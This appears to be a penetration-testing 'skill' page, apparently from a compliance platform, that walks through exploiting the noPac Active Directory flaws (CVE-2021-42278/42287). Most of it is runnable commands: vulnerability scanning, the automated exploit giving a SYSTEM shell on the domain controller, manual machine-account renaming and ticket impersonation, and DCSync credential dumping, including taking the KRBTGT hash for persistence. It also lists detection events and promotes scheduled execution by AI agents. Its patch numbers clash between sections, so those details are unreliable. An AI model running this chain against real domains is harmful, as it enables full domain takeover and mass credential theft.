Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)

Overview

noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.

Objectives

• Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
• Create or leverage a machine account with modified sAMAccountName
• Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
• Use the DC ticket to perform DCSync and dump domain credentials
• Achieve Domain Admin access from a standard domain user account
• Document the complete exploitation chain with evidence

MITRE ATT&CK Mapping

• T1068 - Exploitation for Privilege Escalation
• T1136.002 - Create Account: Domain Account
• T1078.002 - Valid Accounts: Domain Accounts
• T1558 - Steal or Forge Kerberos Tickets
• T1003.006 - OS Credential Dumping: DCSync

Implementation Steps

Phase 1: Vulnerability Scanning

1. Check if the domain is vulnerable using the noPac scanner:

```bash

# Using cube0x0's noPac scanner

python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1

# Using CrackMapExec module

crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac

```

1. Verify the MachineAccountQuota (default is 10, allows any user to join computers):

```bash

# Check MachineAccountQuota via LDAP

python3 -c "

import ldap3

server = ldap3.Server('10.10.10.1')

conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)

conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])

print(conn.entries[0]['ms-DS-MachineAccountQuota'])

"

```

Phase 2: Exploitation with noPac Tool

1. Run the full noPac exploit chain:

```bash

# Using cube0x0's noPac (gets a shell on the DC)

python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \

-dc-host DC01 -shell --impersonate administrator -use-ldap

# Using Ridter's noPac (alternative implementation)

python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \

--impersonate administrator -dump

```

1. The exploit automatically:

• Creates a new machine account (or uses an existing one)
• Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
• Requests a TGT for the spoofed account name
• Restores the original sAMAccountName
• Uses S4U2self to obtain a service ticket impersonating the target user
• The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)

Phase 3: Post-Exploitation

1. With the obtained Domain Controller ticket, perform DCSync:

```bash

# DCSync using secretsdump.py with the Kerberos ticket

export KRB5CCNAME=administrator.ccache

secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local

# Or directly through the noPac shell

# The shell runs as SYSTEM on the DC

```

1. Alternatively, obtain a semi-interactive shell:

```bash

python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \

-dc-host DC01 -shell --impersonate administrator -use-ldap

```

Phase 4: Manual Exploitation Steps

1. Create a machine account:

```bash

addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \

-dc-ip 10.10.10.1 domain.local/user:'Password123'

```

1. Clear the SPN and rename sAMAccountName:

```bash

# Rename machine account sAMAccountName to DC name (without $)

renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \

-dc-ip 10.10.10.1 domain.local/user:'Password123'

```

1. Request a TGT for the spoofed name:

```bash

getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'

```

1. Restore the original machine name:

```bash

renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \

-dc-ip 10.10.10.1 domain.local/user:'Password123'

```

1. Use S4U2self for impersonation:

```bash

export KRB5CCNAME=DC01.ccache

getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \

-k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'

```

Tools and Resources

Tool	Purpose	Platform
noPac (cube0x0)	Automated scanner and exploiter	Python
noPac (Ridter)	Alternative exploit implementation	Python
Impacket	Kerberos ticket manipulation, DCSync	Python
CrackMapExec	Vulnerability scanning module	Python
Rubeus	Windows Kerberos ticket operations	Windows (.NET)
secretsdump.py	Post-exploitation credential dumping	Python

CVE Details

CVE	Description	CVSS	Patch
CVE-2021-42278	sAMAccountName spoofing (machine accounts)	7.5	KB5008102
CVE-2021-42287	KDC PAC confusion / privilege escalation	7.5	KB5008380

Detection Signatures

Indicator	Detection Method
Machine account sAMAccountName change	Event 4742 (computer account changed) with sAMAccountName modification
New machine account creation	Event 4741 (computer object created)
TGT request for account without trailing $	Kerberos audit log analysis
S4U2self requests from non-DC machine accounts	Event 4769 with unusual service ticket requests
Rapid sequence: create account, rename, request TGT	SIEM correlation rule for noPac attack pattern

Validation Criteria

• [ ] Domain scanned for noPac vulnerability
• [ ] MachineAccountQuota verified (default 10)
• [ ] Exploit executed successfully (shell or DCSync)
• [ ] Domain Admin privileges obtained from standard user
• [ ] DCSync performed to dump domain credentials
• [ ] KRBTGT hash obtained for persistence validation
• [ ] Attack chain documented with timestamps
• [ ] Patch status verified (KB5008380, KB5008602)

Compliance Framework Mapping

This skill supports compliance evidence collection across multiple frameworks:

• SOC 2: CC4.1 (Monitoring & Evaluation), CC7.1 (Monitoring)
• ISO 27001: A.14.2 (Secure Development), A.18.2 (Information Security Reviews)
• NIST 800-53: CA-8 (Penetration Testing), RA-5 (Vulnerability Scanning)
• NIST CSF: ID.RA (Risk Assessment), PR.IP (Information Protection)

Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.

Deploying This Skill with Claw GRC

Agent Execution

Register this skill with your Claw GRC agent for automated execution:

# Install via CLI
npx claw-grc skills add exploiting-nopac-cve-2021-42278-42287

# Or load dynamically via MCP
grc.load_skill("exploiting-nopac-cve-2021-42278-42287")

Audit Trail Integration

When executed through Claw GRC, every step of this skill generates tamper-evident audit records:

• SHA-256 chain hashing ensures no step can be modified after execution
• Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
• Trust score impact — successful execution increases your agent's trust score

Continuous Compliance

Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.